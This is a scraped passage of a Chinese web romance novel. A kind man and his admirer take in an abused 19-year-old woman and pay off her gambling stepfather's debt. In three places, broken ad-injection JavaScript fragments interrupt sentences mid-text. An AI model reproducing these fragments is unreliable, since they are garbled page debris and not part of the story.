廖婷婷名字好听,本人却豪迈地让男人都感到害怕,一口闷了杯中的威士忌,挥开他,“别挡道儿,牌还没打完呢。” 拉扯间,无意往门口投去一眼,“我靠!极品啊。” 周扬委屈巴巴回头。 晚上冷,沈庭章卫衣外又套了件米色风衣,进屋后脱下来搭在臂间,长身玉立站在明暗交界处,光源从背后打来,每一根头发丝儿都好似在发光。 坏了。 跟沈庭章接触久免疫了,差点忘了,这他妈是个绝世大帅哥。 周扬脑中警报不停响:“婷婷……” “帅哥!”廖婷婷嘹一嗓子,朝门口举起酒杯,“来喝一杯啊,我请客!” 话落,人真的过来。 其他几个摸牌的也都齐刷刷转头,对那张脸失神几秒,又统一落向他身后的“阎王”。 沈庭章弯着眼,同他们笑:“你们好,我是沈庭章。” “沈庭章?” “谁啊?” “不认识。” 几人面面相觑。 直到蔺宵开口:“我朋友。” “……” 现场气氛更冷了。 “……原来是老大,宵哥朋友啊。”坐卡座外边儿的红毛率先回神,蹭地站起身:“你好,我叫小牧,这儿的酒保。” 开了个头,剩下几人也都陆续起身,挨个自我介绍。 年龄都不大,20出头。 最后到廖婷婷,捏一缕头发别耳朵后,夹起嗓子:“你好呀,我叫廖婷婷。” 沈庭章:“廖小姐。” “诶呀,叫什么小姐,叫婷婷好了。” 吧唧! 此刻,一位青年的心轻轻碎了。 沈庭章却没有过多停留目光,略颔首随 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蔺宵坐下。 小牧很有眼力见地去柜台拿来一瓶酒,和两只干净杯子,拔开酒盖就要倒。 “他不能喝酒。”蔺宵抢先盖住沈庭章面前的酒杯,低头靠近,“橙汁可以么。” “可以。” “小牧,换橙汁。另外,烟掐了。” 酒吧一时安静地有些过分。 然后个个儿自觉掐烟。 除了廖婷婷和周扬,其他人都跟着小牧跑到吧台,暗地观望。 “什么情况?” “扬哥说带个人过来,也没说是老大朋友啊。” “话说,老大啥时候认识的这朋友?” “长得倒是好看,声音也好听,干干净净的。” …… 沈庭章抱着杯子浅尝一口橙汁,好奇打量四周。 店内光线昏暗,装饰也以冷色调为主,靠近窗口是正常的几排桌椅,中间和角落则用弧形沙发隔开,钢化玻璃茶几上摆着酒水和冰桶……好像不能给他的甜品店做参考。 “沈哥是吧。”廖婷婷摸了摸银色耳钉,提议:“这么干坐着多没意思,要不我们打牌吧。” 沈庭章:“打牌?” “就是这个。”蔺宵捏起散在桌上的扑克牌,从规则开始教他。 廖婷婷一下听出来,“沈哥不会打?” “还是你们自己玩儿吧。”不好说见都没见过,沈庭章又将手里的牌给蔺宵。 廖婷婷连忙阻止,“不会打没关系,这东西上手最快了,这样,我先让沈哥三把。” 十分钟后。 “同花顺。” “四条。” “王炸!” 廖婷婷捏着牌目瞪口呆,半天才收起下巴,控诉对面:“沈哥,你真的不会打么?” 十分钟,整整十分钟她都没赢过,期间甚至还有几把颗秒。 这是新手?这是哪个大佬来炸场了吧。 沈庭章:“大概我运气比较好。” “……” 不用说,更扎心了。 廖婷婷直接把牌一推,“不玩了不玩了,这么玩儿有什么意思,咱们玩点其他的。” “那不如,真心话大冒险吧。” 周扬终于收拾好心情,暗中和蔺宵碰个视线,拿出一枚骰子,将小牧等人也都拉过来一起玩儿。 他为起始掷骰子。 掷到几点,逆时针数过去几个人,点到的,选说真话还是大冒险。 “咳咳,人都齐了,那么现在……开始!” 骰子叮叮咚咚在桌上转。 所有人都跟着拧上了一根弦。 周扬尤为激动,要是能转到婷婷……不不不,现在还是宵哥的事最要紧。 可一连八圈下来,次次都没碰上沈庭章,这运气真是绝了。 周扬再次抓到骰子,已经能感受到那道恨不得把他刺穿的视线,无故抖两下,悄摸数现在离沈庭章还有几个点。 下一次,一定不能失手! “……3!是沈哥!”周扬声音都劈叉了,“沈哥选什么呀?” 在这之前,所有选大冒险的,要么是跑去指定桌位对陌生人大声表白,要么是站在门口,对客人说“大少爷请进”……沈庭章做不来,选了真心话。 “那请问!”周扬尽量放缓呼吸,拿着空白卡片提问:“沈哥现在有喜欢的人么?” 沈庭章疑惑一瞬,摇头。 “没有!”周扬龇着个牙乐了,紧跟着又问:“那沈哥喜欢什么样的人?” “这是第二个问题了。” 周扬立马收回放外面凉快的牙,冲蔺宵挤眉弄眼:反正没有喜欢的人,宵哥,现在不冲,更待何时! 哐当! 太激动,手里的骰子已经掷出去,掷了个大红点,“1”。 沈庭章后一位,正是蔺宵。 “大冒险。” 周扬像个做错事的小孩儿,低着头随机抽出一张惩罚卡片:找到微信列表第一位,跟他深情对视30秒。 “宵哥微信列表第一位?” “好好奇,谁啊。” “被宵哥对视,晚上要做噩梦了吧。” 注意力全都集中到那只薄薄的手机上。 蔺宵余光扫过旁边人,打开微信。列表第一位:AAA沈庭章。 四周霎时一阵吸气声。 沈庭章自然也看到了,相比向陌生人表白、喂酒一类,这已经算是里面最好的惩罚。 “没办法,那就来吧。”他主动侧过身靠近。 淡淡檀香飘到鼻间,一双澄澈干净的眼睛,就这样毫无防备地望过来,心跳莫名加快,一秒,两秒……不到五秒,蔺宵撇开视线,豁然起身。 “我认输。” 他将作为惩罚的五杯烈酒全部喝光,抓起沙发上的风衣,拉着沈庭章,“时候不早了,我送你回去。” …… 酒吧门口的铃铛叮叮当当。 沈庭章被他拽着走,不时回头,“大家玩得正高兴,就这么走了是不是不太好?” “沈哥。”蔺宵猛地在一处路灯停下,低头看下来,酒气熏脸,连带耳朵一并染红,“沈哥现在没有喜欢的人对不对?” “现在问这个做什么。”沈庭章瞧他神情不太对,“你是不是醉了?” “醉了,沈哥还会给我泡蜂蜜水么。” 果然是醉了。 “既然已经出来,那就回家吧,我给你泡。” “泡什么。”蔺宵攥着他手腕慢慢拉近,喉头滚了两下,“沈哥,我……” 哐当! 路口的垃圾桶被推翻。 拐角里踉跄走出一个黑影,直直倒下。 14. 问题少女 蔺宵一瞬酒醒,将人拽到身后。 打开手机光照过去,先见着一双没穿鞋的脚,再往左,两条纤细匀称的腿上青一块紫一块… 是个女孩儿,头发及腰长,在这气温骤降的夜里,身上就只穿了T恤短裤。 沈庭章眉头微皱,挣开他的手过去,将风衣搭在女孩身上。 “你还好么?发生什么事了?” 一只手猛地攥住他。 女孩睁开眼,嗬嗬喘气,“我……我饿,好饿啊……” 饿? 沈庭章赶紧翻翻口袋,出门走得急什么都没带,又望了眼蔺宵,见他也摇头,没办法:“我们没带吃的。你家在哪儿?我们先送你回家。” “不行!”女孩的脸突然就白了,头恨不得摇成拨浪鼓,“不能回家,不能回家!” 蔺宵过来拉起沈庭章,眯眸凝视,“为什么不能回家。” “因为……”女孩支支吾吾半天,也说不出一个原因,干脆吼道:“我干嘛要告诉你啊!没有吃的,就别管我!” “呵,年纪不大,脾气倒不小。这就是你求人的态度?”蔺宵偏过头,“哥,你看她还有力气吼咱们,想来也没饿到哪儿去,咱们走,少管这种闲事。” 说着,掰过沈庭章的肩。 走出去两步,沈庭章忍不住回头,女孩丧着脑袋孤零零坐地上,肩膀还轻微抖动了两下,在吸鼻子。 他叹气:“这么晚了,怎好把她一个人扔这里?身上还有伤。” 蔺宵脸色不变,顺他话问:“沈哥打算怎么办。” 沈庭章想想,提议:“我记得来的时候看见附近有便利店,给她买点饭,吃完送到派出所,叫她家里人接回去,怎么样?” 他们要是不帮一把,这地方又没什么人路过,她就真得在这里挨饿受冻了。 “好吧,听沈哥的。” — 711便利店,窗边。 女孩左手一只大肉包,右手两串鸡肉串,脸颊鼓囊囊的,沈庭章的风衣穿她身上有点长,袖子挽了好几道,像极了偷穿大人衣服的小孩,脚上另踩着双全新的拖鞋。 “慢点吃,不着急。”沈庭章接过店员帮忙泡好的面,递过去,“这些都是你的,别噎着。” 话落下一秒,女孩就噎了个实在,猛锤胸口,涨得脸通红。 一瓶矿泉水跟着送到面前。 眼皮微掀,瞳仁在灯下是极浅的琥珀色,脸脏兮兮的,但看得出五官底子好,年纪也不大。 盯着他嚼吧两下包子,一口气喝了半瓶水。 沈庭章和蔺宵对视一眼,温声问:“你今年多大了?” 女孩咀嚼动作一停,侧过头,“19。” 还是个小孩子。 沈庭章紧接着就说:“吃完以后,我们送你去派出所,或者你不放心,叫警察过来接也行。” 女孩不说话了,去嗦面。 沈庭章当她默认,未免路上再发生其他意外,想想还是叫警察来最妥当。 掏出手机就要拨号,一只油乎乎的手直接蹭他袖子上抓住。 “我不去派出所。” “那你想怎样?”蔺宵横跨一步隔开她,连抽几张湿纸巾给沈庭章,“派出所不去,又不叫你家里人来接,怎么?难道还要叫我们另出钱给你住酒店不成?” “可以么。” “……” 蔺宵差点气笑,“当我们做慈善呢。” 女孩喝口汤,眼睛滴溜转向被他挡后头的漂亮男人,一抹嘴巴,跳下椅子撩了缕长发,“我成年了。” “所以呢?” “没钱,住不了酒店,但是我有身体。” 全场静默数秒,包括值夜班的便利店小哥。 女孩却像是并不知道她的话有多震撼,“我的脸还不错,身材也好,睡一晚不吃亏……” “够了!”蔺宵厉声打断,偏过头:“哥,还是报警吧。” 这里距离三乡巷派出所没多远。 不到五分钟,警察就来了。 大致了解情况后,带走女孩,蔺宵和沈庭章,也一并跟去。 “这小姑娘叫祁凝玉,中专毕业,毕业后就去厂里打工了。”出警的民警叹了口气,“她那些伤是被皮带和衣架一类的物品抽的,倒是没伤到骨头,女警在给她涂药。” 沈庭章:“她家里人联系上了么?” “母亲在她很小的时候就死了,只剩一个父亲,刚才我们打过电话了,没人接。”民警一脸为难看他,“她说她不要在派出所,也不想回家,就要……跟着你。” 蔺宵抱臂轻呵:“这就赖上了。” “她说她爸是个赌鬼,经常一赌一整夜不着家,手机也时常关机,那些伤其实都是她爸喝酒喝多了抽的。” “别说那些没用的。我们本来是做好事,现在却被缠上。”蔺宵把压力给到警方,“你们可得想想办法啊。” “能想的,我们都想过了,也劝了。” 可当事人不愿意,他们也不好强压着人留在派出所。 “我去跟她谈谈。”沈庭章站出来。 … 问话室里。 祁凝玉抱着一次性纸杯小口嘬,门咔哒打开,见他进来,扬起嘴角。 “为什么想跟着我?”沈庭章不明白她这么亲近自己的原因,“只是因为我帮了你?” “对啊。”祁凝玉诚实点头,“我都说了不想来派出所,那个大块头看着又很凶。” 沈庭章:“大块头……” “就属你最温柔了,长得又好看。”祁凝玉越说越起劲,身子都快趴到桌上,“要是能跟你睡,还不知道谁便宜谁呢。” 沈庭章忽然觉得头疼,“怎么能拿自己的身体随便交换。” “老顽固。”祁凝玉鼓着嘴咕哝:“也没比我大多少啊,思想这么封建。” “这不是封不封建的问题。而且,我已经三十了。” “嚯!真没看出来。”祁凝玉上下扫他,嘿嘿:“那正好,我就喜欢年纪大的。” “……” 话题彻底接不下去。 祁凝玉铁了心要跟他回家,不然,继续睡大马路上等别人捡。 且不说还能不能遇见其他人,就算侥幸碰上了,也无法保证是好人还是坏人。 不得已,沈庭章只好在派出所留下姓名、电话和住址,暂时先把人领回去。 回到幸福里居,指向右手边卧室,“这原本是我儿子房间,他现在不用,就给你住吧,床单被褥都是新的。” “没看出来,沈哥都有儿子啦。”祁凝玉进门后左看右看。 房间不算大,但衣柜、书桌……置办都挺齐全的。 “他今天去同学家了,明天回来就能见到。”沈庭章另给她找份干净毛巾和衣服,“时候不早,洗漱完好好睡一晚吧。” 祁凝玉抱着毛巾,原地沉思了一小会儿,转头就撞上大块头——蔺宵。 “你怎么还在这?”目光在他和沈庭章之间来回梭巡,“你俩住一块儿?” 蔺宵懒得跟她解释,扭头提出:“今晚我在这宿一宿可以么。” “这里?”沈庭章扯他袖子,小声:“我这只有两个房间。” 况且,不就住隔壁么。 “没事。”蔺宵径自走到沙发前坐下,“我睡这里就行,顺便看着她。” “看我什么!”祁凝玉瞬间炸毛,“我能做什么坏事?” 蔺宵将她从上到下好好审视一番,表情不变,“这谁说得准。” 讽刺意味拉满。 祁凝玉怒不可遏:“你再说一遍!” 一场大战,即将拉开序幕。 半途,沈庭章站出来息事宁人:“好了,都少说两句。” “好,听沈哥的。” “哼!” 洗漱过后,两边房间的灯陆续都熄了。 睡下没多久,躺在沙发上的蔺宵又猛地睁眼坐起身,拨个号出去。 “……帮我查一个叫祁凝玉的,越快越好。” — 第二天,吃过一顿“和谐”的早饭,沈庭章就要去接小满回来过中秋。 “沈哥,我跟你一起去。”蔺宵立马起身。 周扬家,沈庭章只去过一次,百分百会迷路。 “不用了。”沈庭章却摇头拒了,“我们不直接回来,还得去趟医院。” “医院!”蔺宵大步过去,探他额头,“哥怎么了?没发烧啊,是身体哪儿不舒服?” “不是我,是小满。学校通知新生假期去医院体检。”沈庭章心头暖暖的,“我很好,不用担心。” 他单独将人拉到一边,“再说了,她还在这儿,你不是不放心她么,那就看着她吧。” 蔺宵成功被他说服。 但还是送他出了幸福里居,指着大路,“沿这条路一直往前,走到头再左转,拐个弯就到了。” 沈庭章认真点头,然后——十分钟路程花了将近四十分钟,才到周扬家。 周扬此刻还因宿醉躺在床上。 “臭哥哥,臭死了,今天不是说好去医院的么!”漫漫正在他床边闹,周扬眼睛都睁不开,直接被子一拉。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “臭哥哥!!!” “漫漫。”沈庭章提着两盒月饼来接小满,将月饼给周扬外婆后,过来摸她脑袋,“哥哥酒还没醒,咱们不吵他,我带你去体检好不好?正好小满也去。” 周扬外婆过来,搓了搓手,“我眼睛不太好,真是麻烦你了。” “不麻烦的阿婆,顺道的事。” …… 时间都挤到一块儿,医院里,小孩子尤其多。 沈庭章一手一个牵着看好,在医院呆了有小半天,中午饭都赶不及回去吃,在外面匆匆解决。 吃过早餐又睡了个饱饱的回笼觉,祁凝玉躺不下去了,见人没回来,到厨房拿两块月饼,屋里四处转悠。 还去阁楼欣赏了会儿油画,手欠地掀开钢琴罩,弹了两个音。 “这么大的房子里,居然也就这个值钱。”祁凝玉不免惋惜:“可惜,搬不走。” 吃完两块月饼拍拍手下楼。 走到茶几旁,随意一瞥忽地停住。 之前没注意,茶几上还置着件紫金香炉,炉中香灰虽被清干净了,能看出来常用。 她拿起来仔细端详,半晌,扯出一抹笑,“汉代博山炉啊……可值钱了。” 历届拍卖记录里,这玩意儿最低都得七位数起步。 “再值钱,也不是你的。” 大门悄声被人推开,高大的人影将身后照进来的阳光遮住。 蔺宵冷眼凝视:“沈哥好心带你回来,你就是这样报答他的?” “你在说什么?”祁凝玉将香炉放回去,装聋作哑,“我干什么了?” “你……” “蔺宵,站在门口做什么?” 下午不到两点,沈庭章带着两个孩子回来。 蔺宵拧紧眉头看了眼若无其事吃月饼的人,一口气压嗓子里,“没什么。体检还顺利吧。” “小满可健康了!” “还有我,还有我。”周漫漫挥了挥手里的体检单,“医生爷爷说,我比牛都壮。” “哇!那漫漫好厉害啊。”蔺宵接过她的体检单,各项指标都很正常,血型AB型。 “AB,和我一样诶。”祁凝玉也来凑个热闹。 两个小孩同时眨巴眼,再异口同声:“你是谁?” “为什么在我家?”小满连问。 “你就是沈哥儿子吧。”祁凝玉吃完月饼,恶劣地用那只手摸他脑袋,“我叫祁凝玉,昨儿刚被沈哥捡回来。” 两双懵懵懂懂的眼睛扭向沈庭章。 “姐姐说的没错。”沈庭章闭眼缓了缓,进屋抽两张湿纸巾,擦掉小满头上沾到的饼屑,冷淡又疏离:“不过姐姐今天就走了。” “啊!沈哥别那么无情嘛。”祁凝玉表情夸张,跟人身后转。 蔺宵冷呵一声,顺手拿起小满的体检单,“小满原来是O型血啊。” “对啊,我是O!” “怪不得呢,听说O型血的人都乐观开朗,很爱笑。”蔺宵戳戳他的梨涡,“想必是随你爸了。” 小满疑惑了一瞬,转眼又咧开嘴。 这时,忽然听到咚!一声闷响。 茶几上的香炉咕噜噜滚到地上,漫漫站在旁边,抓着衣角,一脸无措。 “我,我想把它挪一下,但是太重了,我,不是故意的。”哭声四起,眼眶刹那通红。 沈庭章听到声音从厨房里赶来,先过去摸了摸她的脚,“有没有伤到哪儿,疼不疼?” 周漫漫摇了摇头,眼泪已经下来,“对不起哥哥,我砸坏了。” 香炉顶部一分为二。 “哦,这个啊。这个没有坏。”沈庭章捡起来,将它重新装好,“你看,又好了。” 周漫漫哭一半停下,挂俩泪泡好奇望着,凑近闻还很香,和庭章哥哥身上味道很像。 “好神奇!” “这是香炉,平时还要往里头添香粉呢。” 沈庭章翻出常用的檀香粉,压实后添进去点燃。 袅袅青烟悠然飘出,扶风而上。 仿若置身罗刹古寺,浮躁不安的心得以平静下来,隐约像是还能听到藏在香火中的梵钟声。 … 禅院厢房内,诵经声不息。 案台上,紫金博山炉中青烟扶摇。 一素衣僧人笔直跪于佛前,一手敲木鱼,另只手慢慢转动佛珠。 除去观音像,面前还供奉着牌位和照片。 照片早已泛黄老旧,上面的女人却依旧容色昳丽,出尘脱俗,尤其那双盈盈秋水般的桃花眼,多情潋滟… 牌位上,书:吾妻晚吟。 15. 仗势欺人 点燃香炉后,沈庭章抽了两张湿纸巾,给漫漫擦刚哭过的眼睛。 舒舒服服趴他怀里,檀香一熏开始昏昏欲睡,事儿差不多就忘了。周扬来接人时,还坐在沙发上晃着小脚丫吃花生酥。 “我看你在这儿挺好啊。”欠欠儿地去捏妹妹脸,手背啪!被拍红。 “嚯!半天不见,都跟哥哥动起手来了。” “是你先捏我的。” 周漫漫把花生酥当成他愤愤咬了一口。 偏周扬最喜欢逗她,又去揉两把脑袋,头发搓静电竖起来了才罢休。 “行了,赶紧跟哥回家,外婆还在家等咱过节呢。”他提了提手上袋子,“沈哥呢,外婆让我给他送点东西。” “在厨房。” 蔺宵放下卷到臂弯的袖子过来。 想到昨天,周扬两步挪过去,嘴角止不住咧开,悄咪咪地:“哥,情况怎么样。” 沈庭章都明确说了现在没有喜欢的人,以宵哥昨晚的反应,表白了吧。 他不提还好,一提,蔺宵脸都黑了。 笑容慢慢从脸上消失,周扬压下声惊呼:“被拒绝了!” “谁被拒绝了。” “哦,宵哥……”周扬一回头,毫无心理准备对上一双琥珀色的瞳仁,吓得他差点原地起飞。见是位姑娘,拍拍胸脯,“吓死我了。” 一口气呼出去,立马扭头,“不是,你谁啊?” 祁凝玉嚼吧两口花生酥,上下打量,“你又是谁。” 四目相对。 周扬偷偷觑蔺宵,一个眼神八百个字飘过。 这是啥情况? 咋又多个女的? “……这是我和蔺宵昨晚回来路上遇到的。”沈庭章端一碟花生酥过来解释一嘴,再向祁凝玉介绍:“这位是漫漫哥哥,周扬。” “嗨!我叫祁凝玉。” “嗨。” 多看两眼人,周扬也不多聊,转手把袋子给沈庭章,“这是我外婆做的羊肉馅饼,谢谢哥早上带漫漫去体检。” “应该的。” 沈庭章倒也没推辞。 接过袋子发现还是热乎的,先将馅饼送进厨房,又找来盒子装了些花生酥和蜜豆糕。 拎着礼物来,回去也没空手。 为了能早点到家,周扬离开后带妹妹拐了条小路进巷子,一路听她嘚啵念叨今天医院人如何多,验血时沈小满嚎得有多伤心,庭章哥哥做的花生酥又有多好吃… “好好好,好吃。”周扬敷衍着。 迎面一个中年男人摇摇晃晃走来,手里还拿着半瓶白酒。 不等走近,先闻到一股刺鼻的酒臭味。 周扬警惕地抱起妹妹让开,等人东倒西歪过去后,一刻不停拐出小巷换大路。 “哥哥,刚刚那个人差点撞我们身上了。”周漫漫松开鼻子,呼了口新鲜空气抱怨:“而且好臭好臭,比哥哥喝醉后的味道还要臭。” 周扬不置可否,揉搓她脑袋,“所以以后再遇到,能躲多远躲多远,听见没。” 不过—— 他回头看了眼巷口,这条小路通的是宵哥家那一排,那人也是宵哥邻居? 以前怎么没见过。 — 送走周扬和漫漫后,沈庭章就开始准备晚餐。 他到厨房备菜,蔺宵就去买了些竹条,帮忙洗好菜坐门口编灯笼,晚上小满想在院子里赏月,问爸爸要了块抹布,去把院里的桌椅吊篮通通擦干净。 唯独祁凝玉找不着半点事儿。 “沈哥,我帮你啊。”她先去厨房。 手已经伸过去,沈庭章却将盘子和备好的菜拿到另一边,“菜已经洗干净,就不劳你插手了。” “哥怎么,回来以后,对我意见很大啊。”再迟钝,祁凝玉也感觉出来了。 对比昨晚,冷淡的不是一星半点。 她有干什么吗?还是,蔺宵跟他说了什么。 沈庭章大火收汁,扭头看她,脸上说不出的失望,“我回来的时候,你正拿着茶几上那只香炉吧。” “是啊,那又怎么了?我又没干什么。”祁凝玉眼神躲闪开。 话落就听锅铲当—— 厨房里瞬间只剩咕噜冒泡的闷煮声。 良久,沈庭章叹了口气,跟她挑明:“你拿起来看没关系,可为什么,把它放到茶几边上?” “我……” “香炉那么重,稍不注意带倒,砸伤人了怎么办。” 沈庭章起初以为她是无心之举,没想那么多,但就在漫漫不小心碰倒香炉,害怕被骂哭出来时,他发现她在笑,幸灾乐祸的笑。 那一刻,寒意涌入四肢,冷得发抖。 他不禁在想:他带回来的,到底是人是鬼? “吃完月饼,你就走吧。” 祁凝玉嘴唇微动。 不等开口,沈庭章转过去继续炒菜。 空气中弥漫着阵阵香气,却异常沉默。 祁凝玉数次张嘴,最后化作一声实质的冷笑,“不用吃完月饼,既然哥不待见我,我现在就走!” 推拉门哗!敞开。 沈庭章搁下锅铲,盖上盖。 没有回头。 … 出去后,祁凝玉大步往外走。 小满吭哧擦完桌子,正蹲蔺宵边上看他编灯笼,歪头喊:“姐姐,你要去哪里呀?” 祁凝玉没回他。 走到院门口,推开门才又停下,望了眼堂屋方向……没有人出来。 她失落地垂下脑袋。 转过头,一抹摇晃的影子拦到跟前。 “哟!在这儿啊。”拎着半瓶白酒的中年男人,龇开一口黄牙,“要不是警察给我打电话,老子还不知道你跑了呢。” 祁凝玉呼吸微滞,就要退回门内,男人一把擒住她。 “走啊,老子可是亲自来接你的。” “我不要!我不要回去!”祁凝玉把住门上的拉环,死命抵着脚。 男人顿时火冒三丈,眼珠一瞪,抡起酒瓶,“妈的,一天不打你,反了天了。” “住手!”沈庭章几步跨出堂屋,喝问:“你是谁?在我家门口干什么。” “我谁?我是她老子,我是谁。”男人转手就把酒瓶对准他,“我教训自己闺女,少管闲事!” 嗓门儿洪亮,附近几户邻居听见动静出来,见这情况,赶紧躲回屋里。 沈庭章却半步不动,“你是她父亲?” “妈的,听不懂人话是吧。” “一个父亲会这样对自己女儿?”他瞧祁凝玉的手都被拽红了,更别提她腿上的那些伤。 这哪是父女,仇人还差不多。 难怪死活不愿回家。 “我教训自己女儿关你屁事!” “是不关我事。”沈庭章从没见过这种人,被他两句脏话骂得脸都白了,但还是壮着胆子继续说:“你在我家门口大吵大闹,我有权…报警。” “来!报!”男人突然将酒瓶往地上一砸,粗着脖子,“你报一个试试!” “你……” “来,报啊!” 沈庭章被他身上那股流氓气慑住,后退两步,撞进一堵温热的胸膛。 “哥哥别怕。” 一只手横过他的肩揽到身后。 蔺宵眯眸射向男人,像是草原上的狼犬,一瞬锁定猎物后,随时扑上来拧断脖子。 他勾着唇,笑:“真以为我们不敢?” 男人无故打个颤,酒倒是醒了几分,识趣地不跟他打嘴皮。 再去拽祁凝玉,“死丫头,赶紧走!” “我不要!” 祁凝玉狠狠挠了他一手。 男人反手一巴掌,“彩礼我都收了。敢不跟我回去,看老子不打断你的腿!” “哎呦!这是干什么啊?”隔壁张秀梅看不下去了,开门出来走到两家院墙前,手指出去,“哪有你这样打闺女的。” 男人懒得跟他们叨叨:“滚滚滚,跟你们有什么关系。” “她是我从派出所领回来的,怎么跟我没关系。”有人护着,沈庭章多少生出点勇气,“她才19,就要她嫁人,这会是一个父亲做出来的?我看,你不是她亲爹吧。” 男人一怔。 手又被抓了两道。 吃痛松手,祁凝玉趁机往沈庭章身后躲,恨恨道:“他才不是我爹呢,是我妈后嫁的。祁老三我告诉你,休想把我卖了。” 张秀梅:“哟!原来是后爹啊。” “后爹咋啦,户口本上反正是我。”祁老三捂着血流不止的手还想来拽她,“现在彩礼收了,你他妈不嫁也得给我嫁!” “嫁什么?一头猪,都四十了!”祁凝玉死死箍着沈庭章的腰,眼底满是恨意,“说病了,把我从南宁骗回来,就为了那八万八的彩礼,你可真是我好爹!” “那你说怎么办?人下午就上门来要人了。” 碍于挡在门口的蔺宵,祁老三不敢真过来,骂骂咧咧两句,哭:“玉儿啊,我就算不是你亲爹,也养了你这么多年,你忍心看爹被人打死么。” “收了彩礼,退了就是。”从他们的对话中,沈庭章大概明白了这前因后果,却不理解,“哪里就会被打?” “恐怕不只是彩礼的问题。”蔺宵侧过头,提醒:“昨天警察不是告诉我们了么,她爹是个赌鬼。” 祁凝玉吸口气,攥紧手心,“你欠了多少。” “八……八万。” 合着卖女儿还债。 祁老三硬不过他们,又开始哭:“那些人说再不还钱,就要砍我的手,玉儿啊,你得帮帮爹,帮帮爹啊。” 祁凝玉又气又急,眼泪一个劲往外淌,“谁叫你又去赌的!” “我没办法,戒不掉……” 说话间,电话响了。 祁老三抱着手机点头哈腰,翻来覆去只说“今天一定还”,挂断后眼巴巴瞅着祁凝玉。 “这个钱……我替她给了。” 绝望之际,突降神音。 所有人都不可置信地看向沈庭章,就连张秀梅也是一脸匪夷所思。 那可是八万,不是八百,八千…… “凑个整,我给你十万。”沈庭章撇开腰间的手过去,“只是给了钱,从今往后,不准再来找祁凝玉。” “您放心好了。”祁老三转瞬堆起满脸褶子,钱没到手先保证,“我以后都不赌了。” “这个随便你。但你要是欠债没钱了再来……”沈庭章往身后瞥一眼,轻轻说:“不知道你经不经得起他那一拳。” 笑脸陡然僵住,对上他后面那双狠戾的眼睛,祁老三不禁又打了两个哆嗦。 拿到钱,一句话不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说就跑了。 “哎呦小沈啊,你咋真给了呢。”人走以后,张秀梅长吁短叹,“十万不是个小数目,小满不还得上学嘛。” 沈庭章笑了笑,跳过这个话题:“刚才多谢张婶儿。我做了点花生酥,待会儿给您送些。” 张秀梅就诶!叹气。 … 锁上院门,沈庭章把祁凝玉带回屋。 小姑娘别别扭扭,吸着鼻子搅手指头,“谢谢哥。” “先别急着谢。”沈庭章搂住乖乖坐沙发上的小满,递出一张欠条,“那钱不是白给你父亲的。” 权宜之计而已,他也不是圣人。 祁凝玉:“我没钱。” “没钱……拿身体来换。” “啊?” 咔嚓! 蔺宵不小心折断了三根叠一起的竹条。 祁凝玉觑他两眼,再三确认:“沈哥来真的?” “真金白银的十万给出去。”沈庭章将欠条拿起来晃两下,“我像在跟你开玩笑?” “可沈哥不是……”祁凝玉很快舒展眉头,嘀咕:“能跟沈哥睡,也不吃亏。” “同意,那就签字吧。” 祁凝玉顶着身后阴恻恻的视线过去,把欠条连同下面一张纸拿起来,先在欠条上签下大名,待翻到第二页——入职合同! 她睁大眼连眨好几下。 “我准备在栖星路,三乡巷小学那边开家甜品店,正好,缺个服务员。”沈庭章很喜欢她此刻脸上的错愕,生动鲜活,像个十九岁的姑娘,“你得给我打工,直到十万块还清为止。” 入职之后,每月5000,交五险一金,包吃住…… 祁凝玉将这份合同看了又看,欠的十万块,她自己存,存够了还他就是,也不直接从工资里扣,怎么看都不吃亏。 这工资,其他店里可没这么高。 “沈哥说的拿身体还,是这个?” “不然你以为是什么。” 身后刀子似的视线消失了。 祁凝玉呵呵笑两声,爽快签字。 收了合同,想起她先前的举动,沈庭章支开小满,“天马上要黑了,蔺宵哥哥不是编了几只竹灯笼么,小满和哥哥去把灯笼挂上,好不好?” 小满听话跳下沙发,拉走蔺宵。 等屋里只剩两个人,沈庭章敛了神色再道:“我可以让你继续住这里,但是今天的事,香炉的事,我不希望再有下一次。你若不喜欢小孩子,房门关上,不听不看就是。” 他不强求,也愿意给她一次机会,能不能握住就看她自己了。 交代完,沈庭章去给隔壁张婶儿装了一木盒的花生酥和手工糕点,礼尚往来也收到了几只刚蒸好的螃蟹。 张秀梅越过他,特地瞅了眼,抱着小满在爬藤架下挂灯笼的人,小声说:“看着还挺好的。” “您说什么?” “没什么,这螃蟹你们一人两个,还有……蔺宵。” 沈庭章顺着她的目光,盈盈浅笑:“那我先代他谢谢您了。” 一手各提着四只蟹回去,装到盘子里。 小满挂好灯笼,蹬蹬跑过来,“哇!大螃蟹!” “是啊,隔壁奶奶送的。”沈庭章拿手背贴了贴他的脸,“是不是饿了?马上开饭。” 今天在外面吃。 … 入夜后,关了灯,点亮爬藤架下的几只竹灯笼,光影透过缝隙,一格一格打在桌椅和地面上,氛围感拉满。 “想不到,你还会这手艺。”沈庭章原以为他只是随便编了给小满玩儿,上手摸发现,每一只都做得格外精巧。 白天带小满去医院体检,路上也有看到卖灯笼的,大多纸糊,要么塑料,估计小孩子拿着玩一宿就坏了,这个用竹子编得可就不一样了。 “哥哥想不到的事多着呢。” 趁祁凝玉和小满为了最后一只螃蟹,在院子里你争我抢,蔺宵支着脑袋光明正大地看他,“不过比不得沈哥,这么快就学会‘仗势欺人’了。” 都知道拿他去威慑祁老三。 沈庭章战术性埋头喝水,脸颊肉眼可见地红了,蔺宵像发现了个新鲜事,忽然凑近,“哥哥不该给个解释?” 呼吸近乎咫尺。 沈庭章稍微有点不适应,就要拉开距离,蔺宵闭了会儿眼,撤开点去喝果汁。 情绪有点低落。 “我是觉得,祁老三不是个善罢甘休的,同时又欺软怕硬,若有你震慑,他必定不敢明目张胆。”沈庭章解释两句,声音渐渐矮下去,“抱歉,擅自借用你的名头。” “下次要是再碰上这种事,沈哥还用么?” 沈庭章沉默摇头。 “不,哥得用。” 沈庭章:? “要是报我名字,就能省去不少麻烦不是很好么。何况——”蔺宵剃了蟹黄放他碟子里,“哥哥能仗我的势,是我的荣幸。” 一大顶帽子扣下来,沈庭章受宠若惊,心脏都有些超负荷,“我已经吃了一只,这只……” 恰巧手机响起。 